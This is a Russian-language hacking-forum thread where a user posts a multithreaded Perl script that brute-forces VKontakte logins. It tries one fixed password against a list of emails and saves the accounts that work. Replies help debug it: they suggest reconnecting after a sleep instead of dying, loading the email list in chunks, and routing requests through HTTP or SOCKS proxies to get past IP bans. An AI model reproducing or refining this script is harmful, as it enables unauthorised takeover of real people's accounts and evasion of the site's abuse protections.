Када загружаю 25 000 мыл, то не проходит и 5 мин как скрипт закрывает и все!что это?как устранить? ЗЫ: када гружу 5000-14000 вроде все норм...
брутер много поточный, вроде 5 или 6 потоков и они по одному глохнут а када все заглохли скрипт закрывается, тока как сделать так чтоб они не глохли?
Ога, тут на форуме телепатокодеры собираются - твой глючный код им на расстоянии должно быть видно. )
вот: потом еще 2 и 3 и все скрипт закрывается =( Вот сам скрипт: Code: #! /usr/bin/perl -w use IO::Socket; use threads; use threads::shared; $threads = shift || 5 ; #Кол-во потоков $pass = shift || '123456' ; #pwd $fname = 'good.txt' ; #Валидные $ml = shift || 'emails.txt' ; #Список мыл my @acc : shared; my $i : shared; my $total : shared; $| =1; print "Loading...\n"; open (ACS, "<$ml") || die("Could not open mail list file!"); @acc = acc(); $size = scalar @acc; $time = time; $start = localtime; print "Loaded: ",$size," emails.\n"; printf "Started at $start\n"; for(0..$threads) {$trl[$_] = threads->create(\&Brut, $_);} for(@trl) { $_->join; } sub Brut { while(@acc) { {lock(@acc);$acc = shift @acc;} my $sock = new IO::Socket::INET ( PeerAddr => 'vkontakte.ru', PeerPort => 80, PeerProto => 'tcp', TimeOut => 20 ) or die "Can't connect\n"; my $data = "email=$acc&pass=$pass"; my $len = length($data); my $re = "POST /login.php HTTP/1.1\nHost: vkontakte.ru\n". "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0b1; Windows NT 5.1; SV1; .NET CLR 1.1.4322; MS IdentiServ 1.4.12)\nKeep-Alive: 300\n". "Connection: keep-alive\nReferer: http://vkontakte.ru\n". "Content-Type: application/x-www-form-urlencoded\n". "Content-Length: $len\n\n$data"; print $sock $re; sysread ($sock, my $answ, 800); if($answ =~ /\S{32}/) { {lock($total); $total++;} print "[+] $acc\n"; open(FILE, ">>$fname") || die("Could not open $fname\n"); print FILE "$acc:$pass\n"; close(FILE); } {lock($i);$i++;} $percent = ($i/$size)*100; progress(); } } $time = time-$time; $end = localtime; printf "Finished at $end\n"; printf "Time elapsed: $time sec\n"; printf "Finded: $total \n"; sub progress{ print "|"; $percent = sprintf("%.2f", $percent); print "< $percent% > complete"; print "\r"; } sub acc { my (@mas); while (<ACS>){ push @mas, $_; } chomp @mas; return @mas; }
Code: sub acc { my (@mas); while (<ACS>){ push @mas, $_; } chomp @mas; return @mas; } кошмар скорее всего из-за этого засирается + ещё каждый поток нсколько я помню берёт около 1.5 мб озу как вариант можно попробовать грузить не целый файл, а по частям Code: sub acc { my (@mas); while (<ACS>){ push @mas, $_; last if (@mas > 300); } return @mas; } Вот как реализовано у меня https://forum.antichat.ru/thread55661.html PS а вообще помойму там тупо ошибка подключения мб контакт начал банить по ипу?
угу, контакт уже давно банит по ипи, у меня статический ипи и када я перезашел то в контакт стало залазить а до этого не уя)
>> die "Can't connect\n"; Вообще, ошибка тут. ) Тут разумно sleep сделать ненадолго, а затем реконнектиться пробовать, но никак не убивать поток. Ну и прокси заюзать, наверно, стоит. p.s. А локи тут нигде не нужны. )
MaTpOc Диджимортал кедала, пару дней назад всё слилось в паблик но доступно только для узкого круга Вот тебе пожалуй покажу, только тссссс! Больше некмоу не говори http://search.cpan.org/~reatmon/IO-Socket-Socks-0.1/lib/IO/Socket/Socks.pm
Лол, эта функция вызывается один раз, до начала потоков )) Простые хттп прокси можешь указывать вместо PeerAddr => 'vkontakte.ru', PeerPort => 80, Только в пост запросе полный путь пропиши.
Kaimi, я согласен с тем что ошибка не из-за этого, но ты всё таки загрузи файлик с мылами на 1 гб и посмтрим прав я или нет )) И каждый поток берёт примерно 1,5 мб оперативы С этим тоже будешь спорить?